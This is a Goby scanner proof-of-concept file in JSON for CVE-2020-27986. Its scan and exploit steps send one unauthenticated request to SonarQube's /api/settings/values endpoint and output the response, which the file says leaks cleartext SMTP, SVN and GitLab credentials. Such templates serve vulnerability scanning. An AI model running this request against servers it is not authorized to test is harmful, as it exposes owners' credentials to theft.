Goby/json/SonarQube_unauth_CVE_2020_2...

113 lines
4.3 KiB
JSON

{
"Name": "SonarQube unauth CVE-2020-27986",
"Level": "3",
"Tags": [
"unauth"
],
"GobyQuery": "app=\"SonarQube-code management\"",
"Description": "SonarQube 8.4.2.36762 allows remote attackers to discover cleartext SMTP, SVN, and GitLab credentials via the api/settings/values URI.",
"Product": "SonarQube",
"Homepage": "https://www.sonarqube.org/",
"Author": "aetkrad",
"Impact": "",
"Recommendation": "",
"References": [
"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-27986"
],
"HasExp": true,
"ExpParams": null,
"ExpTips": {
"Type": "",
"Content": ""
},
"ScanSteps": [
"AND",
{
"Request": {
"method": "GET",
"uri": "/api/settings/values",
"follow_redirect": false,
"header": null,
"data_type": "text",
"data": "",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "sonaranalyzer-cs.nuget.packageVersion",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "sonar.core.id",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody|regex|"
]
}
],
"ExploitSteps": [
"AND",
{
"Request": {
"method": "GET",
"uri": "/api/settings/values",
"follow_redirect": true,
"header": null,
"data_type": "text",
"data": "",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "sonaranalyzer-cs.nuget.packageVersion",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "sonar.core.id",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody|regex|"
]
}
],
"PostTime": "2022-06-25 20:10:24",
"GobyVersion": "1.9.323"
}